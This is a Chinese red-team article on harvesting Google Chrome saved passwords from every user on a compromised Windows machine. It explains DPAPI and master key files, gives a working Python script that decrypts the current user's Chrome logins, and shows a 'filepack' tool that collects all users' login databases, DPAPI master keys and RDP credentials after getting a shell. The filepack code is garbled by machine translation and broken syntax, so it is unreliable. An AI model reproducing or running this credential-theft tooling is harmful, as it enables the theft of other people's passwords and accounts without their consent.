获取当前系统所有用户的谷歌浏览器密码
本文作者: ske (Ms08067红队小组成员)
0x01。知识简介
1. DPAPI:
全称数据保护应用编程接口
Windows系统的一个数据保护接口
主要用于保护加密的数据,常见的应用如:
Internet Explorer,Google Chrome中的密码和表单
存储无线连接密码
远程桌面连接密码
Outlook,Windows Mail,Windows Mail等中的电子邮件帐户密码
内部FTP管理员帐户密码
共享文件夹和资源访问密码
Windows Credential Manager
Skype
Windows CardSpace
Windows Vault
EFS文件加密
2. DPAPI blob:
一段密文,可使用万能钥匙解密
3.万能钥匙:
64字节,用于解密DPAPI blob,使用用户登录密码,SID和16字节随机数加密后保存在主密钥文件中
4.主密钥文件:
一种。二进制文件,可使用用户登录密码解密,获得主密钥
b。分为两种:
用户Master Key file,位于%APPDATA%\Microsoft\Protect\%SID% 存储用户的登陆密码
系统Master Key file,位于%WINDIR%\System32\Microsoft\Protect\S-1-5-18\User 存储wifi等各种密码
C。固定位置:
%APPDATA%\ Microsoft \ Protect \%SID%,该目录下经常有多个主密钥文件,这是为了安全起见,系统每隔90天会自动生成一个新的主密钥(旧的不会删除)
5.首选文件:
位于主密钥文件的同级目录,显示当前系统正在使用的主密钥及其过期时间,替换为90天有效期
0x02在线解密当前用户google浏览器下保存的密码
# 在线获取当前用户google浏览器下保存的密码
import os, sys
import shutil
import sqlite3
import win32crypt
db_file_path = os.path.join(os.environ['LOCALAPPDATA'], r'Google\Chrome\User Data\Default\Login Data')
print(db_file_path)
# tmp_file = os.path.join(os.path.dirname(sys.executable), 'tmp_tmp_tmp')
tmp_file = './loginData'
print(tmp_file)
if os.path.exists(tmp_file):
os.remove(tmp_file)
shutil.copyfile(db_file_path, tmp_file)
conn = sqlite3.connect(tmp_file)
for row in conn.execute('select signon_realm,username_value,password_value from logins'):
ret = win32crypt.CryptUnprotectData(row[2], None, None, None, 0)
print('url:%-50s username:%-20s password:%s' % (row[0], row[1], ret[1].decode('gbk')))
except Exception as e:
print('url:%-50s get Chrome password Filed...' % row[0])
conn.close()
os.remove(tmp_file)
0x03。离线导出当前系统下另一用户的Chrome密码
使用工具Windows密码恢复
解密需要获得三部分内容:
- 加密密钥(即主密钥文件),位于%appdata%\ Microsoft \ Protect下对应sid文件夹下的文件
- 数据库文件登录数据
- 用户明文的密码,用于解密加密密钥
环境模拟:
环境:一台windows10机器,里面内置谷歌浏览器,用户有管理员和测试等其他用户
目的:当我们拿到壳后,当前用户是管理员,我们想要获取测试等其他用户在当前系统保存的谷歌浏览器密码。
符合条件:需要知道test账户的明文密码,可以通过导率方法获取test的明文密码
工具:py编译后的exe工具
filepack.exe执行后会获取1.所有用户谷歌浏览器的登录数据文件2.获取所有用户的主密钥文件3.获取所有用户的rdp保存凭证(该文件窃取RDP,此处无用)
如下图是filepack.exe执行的结果,会在当前目录生成三个压缩文件
goole.zip是所有用户谷歌浏览器的登录数据压缩包protect.zip是所有用户的主密钥文件压缩包rdp.zip是所有用户的rdp保存凭证压缩包
```
filepack原始文件
获取目标服务器的重要文件
- -编码:UTF-8 - -
导入os导入shutil导入sqlite3导入win32crypt
users_dir = os.environ ['userprofile']。rsplit('\',1)[0]#获取用户目录的路径
def搜索 登录 数据(路径,名称):os.walk中的root,dirs,文件:(路径):如果文件中的名称:root = str(root)登录 数据路径= root +'\'+名称返回登录数据 路径
获取所有用户的谷歌的登录数据文件
def login data():print('-'* 50 +'\ n'+ r'[2]获取所有用户Google登录数据文件:')name ='Login Data'作为 os.listdir中的 用户 名(users dir ):Google 目录=用户 dir +'\'+用户 名+ r'\ AppData \ Local \ Google'登录 数据 路径=搜索 登录数据(Google目录,名称)(如果登录数据路径为:try:os.makedirs('。 / google')例外,例如e:pass dst ='./google/ {}登录数据'.format(用户名)shutil.copyfile(登录数据 路径,dst)print('copy [{}]'.format(登录 数据 路径))登录 数据 路径=''
if os.path.isdir('google'):
shutil.make_archive("./google", 'zip', root_dir='./google')
print('[+] success! google.zip save to {}\pgoogle.zip'.format(os.getcwd()))
shutil.rmtree('./google')
获取所有用户的主密钥文件
def master key():print('-'* 50 +'\ n'+ r'[3]获取所有用户的主密钥文件:') os.listdir(users dir)中的用户 名 :Protect dir =用户目录+'\'+用户 名+ r'\ AppData \ Roaming \ Microsoft \ Protect',如果os.path.isdir(保护 目录):shutil.make archive(“ ./ protect / {} 保护” .format(用户name),'zip',root dir = Protect dir)#每个用户的保护压缩为用户名 protect.zip print('copy [{}]'。format(Protect dir))
if os.path.isdir('protect'):
shutil.make_archive("./protect", 'zip', root_dir='./protect')
print('[+] success! protect.zip save to {}\protect.zip'.format(os.getcwd()))